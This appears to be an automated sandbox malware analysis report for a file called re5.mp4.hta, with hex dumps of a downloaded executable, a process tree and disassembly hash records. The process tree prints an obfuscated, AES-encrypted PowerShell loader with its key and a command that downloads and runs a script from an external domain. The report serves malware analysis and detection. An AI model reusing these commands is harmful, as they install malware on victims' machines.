2024-12-31 08:26:32 UTC	1369	IN	Data Raw: d4 52 0b 00 5c 02 00 00 00 60 0b 00 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 56 0a 00 00 10 00 00 00 58 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 64 1b 00 00 00 70 0a 00 00 1c 00 00 00 5c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 38 38 00 00 00 90 0a 00 00 3a 00 00 00 78 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 58 72 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 ec 0f 00 00 00 50 0b 00 00 10 00 00 00 b2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 a4 01 00 00 00 60 0b 00 00 02 00 00 00 c2 0a Data Ascii: R\`.textVX `.itextdp\ `.data88:x@.bssXr.idataP@.didata`
2024-12-31 08:26:32 UTC	1369	IN	Data Raw: 53 55 4c 54 04 00 00 00 80 ff ff ff 7f 02 00 44 13 40 00 0e 05 54 47 55 49 44 10 00 00 00 00 00 00 00 00 04 00 00 00 e4 10 40 00 00 00 00 00 02 02 44 31 02 00 cc 10 40 00 04 00 00 00 02 02 44 32 02 00 cc 10 40 00 06 00 00 00 02 02 44 33 02 00 00 00 00 00 08 00 00 00 02 02 44 34 02 00 02 00 06 00 0b 40 76 40 00 0c 26 6f 70 5f 45 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 0b 28 9c 4a 00 0e 26 6f 70 5f 49 6e 65 71 75 61 6c 69 74 79 00 00 00 10 40 00 02 12 40 13 40 00 04 4c 65 66 74 02 00 12 40 13 40 00 05 52 69 67 68 74 02 00 02 00 09 28 9c 4a 00 05 45 6d 70 74 79 00 00 40 13 40 00 00 02 00 09 28 9c 4a 00 06 43 72 65 61 74 65 00 00 40 13 40 00 02 02 00 00 00 00 04 44 61 74 61 02 Data Ascii: SULTD@TGUID@D1@D2@D3D4@v@&op_Equality@@@Left@@Right(J&op_Inequality@@@Left@@Right(JEmpty@@(JCreate@@Data
2024-12-31 08:26:32 UTC	1369	IN	Data Raw: 40 00 4d 00 ff ff 00 00 07 54 4f 62 6a 65 63 74 26 00 b8 7d 40 00 06 43 72 65 61 74 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 24 00 e8 7d 40 00 04 46 72 65 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 44 69 73 70 6f 73 65 4f 66 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 3e 00 f4 7d 40 00 0c 49 6e 69 74 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 00 11 40 00 01 00 08 49 6e 73 74 61 6e 63 65 02 00 02 00 2f 00 94 7e 40 00 0f 43 6c 65 61 6e 75 70 49 6e 73 74 61 6e 63 65 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 29 00 28 9c 4a 00 09 43 6c 61 73 73 54 79 70 Data Ascii: @MTObject&}@Create@Self$}@Free@Self)(JDisposeOf@Self>}@InitInstance@Self@Instance/~@CleanupInstance@Self)(JClassTyp
2024-12-31 08:26:32 UTC	1369	IN	Data Raw: 00 02 00 5b 00 e8 80 40 00 11 53 61 66 65 43 61 6c 6c 45 78 63 65 70 74 69 6f 6e 03 00 28 13 40 00 08 00 03 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 08 9c 1f 40 00 01 00 0c 45 78 63 65 70 74 4f 62 6a 65 63 74 02 00 00 00 11 40 00 02 00 0a 45 78 63 65 70 74 41 64 64 72 02 00 02 00 31 00 08 81 40 00 11 41 66 74 65 72 43 6f 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 0c 81 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 00 39 00 10 81 40 00 08 44 69 73 70 61 74 63 68 03 00 00 00 00 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 01 00 00 00 00 01 00 07 4d 65 73 73 61 67 65 02 00 02 00 3f 00 04 81 40 00 Data Ascii: [@SafeCallException(@@Self@ExceptObject@ExceptAddr1@AfterConstruction@Self1@BeforeDestruction@Self9@Dispatch@SelfMessage?@
2024-12-31 08:26:32 UTC	1369	IN	Data Raw: 02 00 05 41 46 6c 61 67 02 00 02 b8 12 40 00 08 00 05 41 44 61 74 61 02 00 02 00 00 5c 23 40 00 07 0f 48 50 50 47 45 4e 41 74 74 72 69 62 75 74 65 b8 22 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 00 8c 23 40 00 14 08 50 4d 6f 6e 69 74 6f 72 8c 24 40 00 02 00 a0 23 40 00 14 17 54 4d 6f 6e 69 74 6f 72 2e 50 57 61 69 74 69 6e 67 54 68 72 65 61 64 c0 23 40 00 02 00 00 c4 23 40 00 0e 17 54 4d 6f 6e 69 74 6f 72 2e 54 57 61 69 74 69 6e 67 54 68 72 65 61 64 0c 00 00 00 00 00 00 00 00 03 00 00 00 9c 23 40 00 00 00 00 00 02 04 4e 65 78 74 02 00 e4 10 40 00 04 00 00 00 02 06 54 68 72 65 61 64 02 00 00 11 40 00 08 00 00 00 02 09 57 61 69 74 45 76 65 6e 74 02 00 02 00 00 00 00 00 00 2c 24 40 00 0e 12 54 4d 6f 6e 69 74 6f 72 2e 54 53 70 69 Data Ascii: AFlag@AData\#@HPPGENAttribute"@4 @System#@PMonitor$@#@TMonitor.PWaitingThread#@#@TMonitor.TWaitingThread#@Next@Thread@WaitEvent,$@TMonitor.TSpi
2024-12-31 08:26:32 UTC	1369	IN	Data Raw: 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 ec f1 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 2b 00 00 f2 40 00 0b 4e 65 77 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 14 29 40 00 07 11 54 49 6e 74 65 72 66 61 63 65 64 4f 62 6a 65 63 74 2c 28 40 00 9c 1f 40 00 00 00 06 53 79 73 74 65 6d 00 00 01 00 02 47 29 40 00 02 00 02 00 00 00 9c 10 40 00 d4 f1 40 00 00 00 00 00 01 00 00 00 00 00 00 80 00 00 00 80 ff ff 08 52 65 66 43 6f 75 6e 74 00 00 cc 83 44 24 04 fc e9 21 c9 00 00 83 44 24 04 fc e9 3f c9 00 00 83 44 24 04 fc e9 41 c9 00 00 cc 6d 29 40 00 77 29 40 00 Data Ascii: uction)@Self1@BeforeDestruction)@Self+@NewInstance@Self)@TInterfacedObject,(@@SystemG)@@@RefCountD$!D$?D$Am)@w)@
2024-12-31 08:26:32 UTC	1369	IN	Data Raw: 6f 6f 6c 65 61 6e 02 00 00 11 40 00 08 00 00 00 02 08 56 55 6e 6b 6e 6f 77 6e 02 00 64 10 40 00 08 00 00 00 02 09 56 53 68 6f 72 74 49 6e 74 02 00 b4 10 40 00 08 00 00 00 02 05 56 42 79 74 65 02 00 cc 10 40 00 08 00 00 00 02 05 56 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 09 56 4c 6f 6e 67 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 07 56 55 49 6e 74 33 32 02 00 14 11 40 00 08 00 00 00 02 06 56 49 6e 74 36 34 02 00 34 11 40 00 08 00 00 00 02 07 56 55 49 6e 74 36 34 02 00 00 11 40 00 08 00 00 00 02 07 56 53 74 72 69 6e 67 02 00 00 11 40 00 08 00 00 00 02 04 56 41 6e 79 02 00 d4 2b 40 00 08 00 00 00 02 06 56 41 72 72 61 79 02 00 00 11 40 00 08 00 00 00 02 08 56 50 6f 69 6e 74 65 72 02 00 00 11 40 00 08 00 00 00 02 08 56 55 53 74 72 69 6e 67 02 00 80 2c Data Ascii: oolean@VUnknownd@VShortInt@VByte@VWord@VLongWord@VUInt32@VInt644@VUInt64@VString@VAny+@VArray@VPointer@VUString,
2024-12-31 08:26:32 UTC	1369	IN	Data Raw: 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 43 00 9b 35 40 00 44 00 f4 ff c1 35 40 00 41 00 f4 ff e6 35 40 00 41 00 f4 ff 0c 36 40 00 41 00 f4 ff 34 36 40 00 41 00 f4 ff 62 36 40 00 41 00 f4 ff 90 36 40 00 43 00 f4 ff c6 36 40 00 43 00 f4 ff 11 37 40 00 43 00 f4 ff 45 37 40 00 43 00 f4 ff a7 37 40 00 43 00 f4 ff 09 38 40 00 43 00 f4 ff 6b 38 40 00 43 00 f4 ff cd 38 40 00 43 00 f4 ff 2f 39 40 00 43 00 f4 ff 91 39 40 00 43 00 f4 ff f3 39 40 00 43 00 f4 ff 55 3a 40 00 43 00 f4 ff b7 3a 40 00 43 00 f4 ff 19 3b 40 00 43 00 f4 ff 7b 3b 40 00 43 00 f4 ff dd 3b 40 00 43 00 f4 ff 3f 3c 40 00 43 00 f4 ff a1 3c 40 00 43 00 f4 ff 03 3d 40 00 43 00 f4 ff 65 3d 40 00 43 00 Data Ascii: ~@@@@@@@@}@}@}@C5@D5@A5@A6@A46@Ab6@A6@C6@C7@CE7@C7@C8@Ck8@C8@C/9@C9@C9@CU:@C:@C;@C{;@C;@C?<@C<@C=@Ce=@C
2024-12-31 08:26:32 UTC	1369	IN	Data Raw: 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 3c 4c 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 3c 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 Data Ascii: Dest@StartIndex@Countb(JCopySelf<L@Src@StartIndex2@Dest@Countb(JCopySelf2@Src<L@Dest@StartIndex@Countb(JCopy

Target ID:	0
Start time:	03:25:01
Start date:	31/12/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\re5.mp4.hta"
Imagebase:	0x420000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:25:02
Start date:	31/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RofJg($zkfZU){return -split ($zkfZU -replace '..', '0x$& ')};$xHKo = RofJg('ADDABD852CBF669FB61EACB84993EA3F154802630095EC46064205C3E258CA0A3F846939344DFEADF3B7AC1A3089265AAEECAAD45D0357AA9B08B6C103541454A7CFA4167A71B0010AA6E212385CA641B99658282EE9B9F894A6F9BE882279D7E4F19BDCA0261AA79FC5FAD99FB022F746001AACC2A62050F3C5F1ACB5DBCECEECFE3A7A31A8937A5F65851F4C54937EAC4F795E298C9214224843FB4F9B13B0ABEA024CF9052242B65816163BD511BDD6A30B7FD935D931026CD618E7CF54E77A0A14C23FC0A2197A0626BCCD85128A5B13D7573F97FA06919B49E60B6F135A7B0087E73BEDF1BBD8EF749346E35BB5B8EF328AB42653A8C423CCE65ED751D8FDB7538347B1115C64B27CB0B663FD5D314EF76EA571A266B7DA4A5FEDC4A11881B74E43E450CB442B4DCF5E7F4D3F964B91DD28FD3C9CC2CA269708977893826BC4F817CA3F24A1E25FD45FEE31E6F57DD231764A7ED8EC4F27A85D3E63955F8A0D8233AF72C4E3B87AC790739B96882AAE6D9C087FDE0339006489DE3CCC111FF2BE081EFD92E3486DC8FA48F7C64E97265982A18F79B58A14B1B7F4E618D3E23C9A3C802554F05AB3FACFC592E6C0A13C4FCD3AC9EB67201312B305EABAA5BD1661FB4D01209CD8147427069DCB7C70B3FC1669E3D643A74B2F009A73FF4ECAF1E92FB68F73506E4E251F8603CB128405A12B13D51EB28D67D152254C24F1B1B1B208470E50C7C6A293ED2B9BC672E7167C873D379DDA70928E34D5D92B01E6FBEF93CFF4C5A2A47FEC851643D38DAC71CC97DE03EF89C84EC82B4DAEC32416113C18A4F97176E6C6F19529DFC27FEDF76EAECC83B65CDB18F573A47CA511ABB57C0E2FB271F43F876C7E4EBB670821DEE11F27961708ECC5A51060AB343764D0D66A8F570DE51685313E5643F216ABA89A781C9437C8360BDD168A4F24CC7EEDBAF8CB939B2CD236895145BEE8327E515C72C6E3F8945F6B99DD6856D6B85A39A9636EF180D230B26C5E84DE8C40A71AE0F1B4C4B3ABEE23B5B26FF40AC1D252C89C4C40A58E6456EBA4F5FBFC23');$Hubqy=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RofJg('446D676A575941436563554774726D56')),[byte[]]::new(16)).TransformFinalBlock($xHKo,0,$xHKo.Length)); & $Hubqy.Substring(0,3) $Hubqy.Substring(129)
Imagebase:	0x880000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:25:02
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:25:03
Start date:	31/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command & {IEX ((New-Object Net.WebClient).DownloadString('https://t1.awagama2.org/Scheele.pt'))}
Imagebase:	0x880000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.2856842379.0000000006F90000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:25:03
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:26:20
Start date:	31/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x880000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:26:37
Start date:	31/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass MZP
Imagebase:	0x880000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:26:37
Start date:	31/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 069D0F9F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2063974860.00000000069D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_69d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction ID: 4f0f79efdf4b4e82ea224c7ce6c1ff6400e4e5ebd6fda43b78dc8948865f7c63
Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction Fuzzy Hash:

Function 069D0FBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2063974860.00000000069D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_69d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction ID: 4f0f79efdf4b4e82ea224c7ce6c1ff6400e4e5ebd6fda43b78dc8948865f7c63
Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction Fuzzy Hash:

Function 069D0FB7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2063974860.00000000069D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_69d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction ID: 4f0f79efdf4b4e82ea224c7ce6c1ff6400e4e5ebd6fda43b78dc8948865f7c63
Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction Fuzzy Hash:

Function 069D0FAF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2063974860.00000000069D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_69d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction ID: 4f0f79efdf4b4e82ea224c7ce6c1ff6400e4e5ebd6fda43b78dc8948865f7c63
Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction Fuzzy Hash:

Function 069D0FA7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2063974860.00000000069D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_69d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction ID: 4f0f79efdf4b4e82ea224c7ce6c1ff6400e4e5ebd6fda43b78dc8948865f7c63
Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction Fuzzy Hash:

Function 069D0FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2063974860.00000000069D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_69d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction ID: 4f0f79efdf4b4e82ea224c7ce6c1ff6400e4e5ebd6fda43b78dc8948865f7c63
Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction Fuzzy Hash:

Function 069D0FC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2063974860.00000000069D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_69d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction ID: 4f0f79efdf4b4e82ea224c7ce6c1ff6400e4e5ebd6fda43b78dc8948865f7c63
Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction Fuzzy Hash:

Function 069D0FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2063974860.00000000069D0000.00000010.00000800.00020000.00000000.sdmp, Offset: 069D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_69d0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction ID: 4f0f79efdf4b4e82ea224c7ce6c1ff6400e4e5ebd6fda43b78dc8948865f7c63
Opcode Fuzzy Hash: dbaa41dc49d8cfb90fae6181bf62a1c8c8a9cc53683907e8189441df7059a680
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 4524, Parent PID: 764COMMON

Executed Functions

Function 049F8C18 Relevance: 3.2, Strings: 2, Instructions: 669COMMON

Download Yara Rule

Strings

(Xxq, xrefs: 049F8DA7
LRsq, xrefs: 049F8CC5

Memory Dump Source

Source File: 00000002.00000002.2052912636.00000000049F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_49f0000_powershell.jbxd

Similarity

API ID:
String ID: (Xxq$LRsq
API String ID: 0-4021379918
Opcode ID: 560740e8a4c20f90a3c9d054a46faa589cbdc8cb72a1bed50638fc7ba8ec09c6
Instruction ID: c8c5a82a5149885776b1055b91a03b76135914026443403043c0c5074e2445b1
Opcode Fuzzy Hash: 560740e8a4c20f90a3c9d054a46faa589cbdc8cb72a1bed50638fc7ba8ec09c6
Instruction Fuzzy Hash: B8524C74B00218CFDB24DB64C894BADBBB6BF89300F1185A9E9459B395DF34AD82CF51

Function 049F8C0A Relevance: 2.6, Strings: 2, Instructions: 139COMMON

Download Yara Rule

Strings

(Xxq, xrefs: 049F8DA7
LRsq, xrefs: 049F8CC5

Memory Dump Source

Source File: 00000002.00000002.2052912636.00000000049F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_49f0000_powershell.jbxd

Similarity

API ID:
String ID: (Xxq$LRsq
API String ID: 0-4021379918
Opcode ID: ac3b5e72bb5fe307d31ad6a19d1e524b179fcc15cafc505a5604c167f7f7b55a
Instruction ID: a3f6ce96e54b21c924ec830df4f010cdd788f4f941134ee0c8ed4c77db84b261
Opcode Fuzzy Hash: ac3b5e72bb5fe307d31ad6a19d1e524b179fcc15cafc505a5604c167f7f7b55a
Instruction Fuzzy Hash: 57516C74B002188FDB24DF68D844B9DBBB6FF88300F1185AAE545AB391DB71AD81CF91

Function 049F3870 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2052912636.00000000049F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_49f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c900d9d47be9ec5fae0db035b1abc680da790e8337516a48bc0ff479e066822
Instruction ID: ca4f3eb3b6b1fd7764dbcb1d76ad4bc22d04d79b53df28eb3c614155c566e8a3
Opcode Fuzzy Hash: 6c900d9d47be9ec5fae0db035b1abc680da790e8337516a48bc0ff479e066822
Instruction Fuzzy Hash: B8D12B74A00209EFDB15DF98C884A9DFBB2FF88310F258569E905AB761C735ED81CB90

Function 049F2FF0 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2052912636.00000000049F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_49f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2d9ab982e7916be6553750bb7894b7648af21853601b045ba94dca79c61a11f
Instruction ID: 976205e110bf2016c635ea68cdfd646780921c76021e2193b1d99bb1bd287209
Opcode Fuzzy Hash: a2d9ab982e7916be6553750bb7894b7648af21853601b045ba94dca79c61a11f
Instruction Fuzzy Hash: 22A17C74A002059FCB15CF9DC8949AEBBF2FF88310B248669E915AB365D735FC41CBA0

Function 049F3835 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2052912636.00000000049F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_49f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5018a7a11c366bf60644e95aaddbf9128f2437a7e3d49340a609770cfe85519f
Instruction ID: 2ebeac035f85cff573b47a6bb53ea915d9b03ba7d86d815f56522d73c18e1ce8
Opcode Fuzzy Hash: 5018a7a11c366bf60644e95aaddbf9128f2437a7e3d49340a609770cfe85519f
Instruction Fuzzy Hash: FA819130A092449FCB12CF58C89099DBFB1FF49320F1981A6E945EB762C738EC85CB91

Function 049F3100 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2052912636.00000000049F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_49f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baf26b7f54d6cd0ae63a0c7d86fa5e2fcecdb194ae1d22b7de49d60e64ae1ad3
Instruction ID: d4b6d0f73ce4313faf827c03d9f1acfb71240f74eca6ef52a2de688138f4c3f0
Opcode Fuzzy Hash: baf26b7f54d6cd0ae63a0c7d86fa5e2fcecdb194ae1d22b7de49d60e64ae1ad3
Instruction Fuzzy Hash: 4E415A74A001059FCB15CF99C894DAEFBB1FF48310B1582A9D915AB364C735FD51CBA0

Function 049F968A Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2052912636.00000000049F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_49f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af00a079b8b15341c32f0c11a05526ec62c09a7bd2758119cf75443cdfc75b42
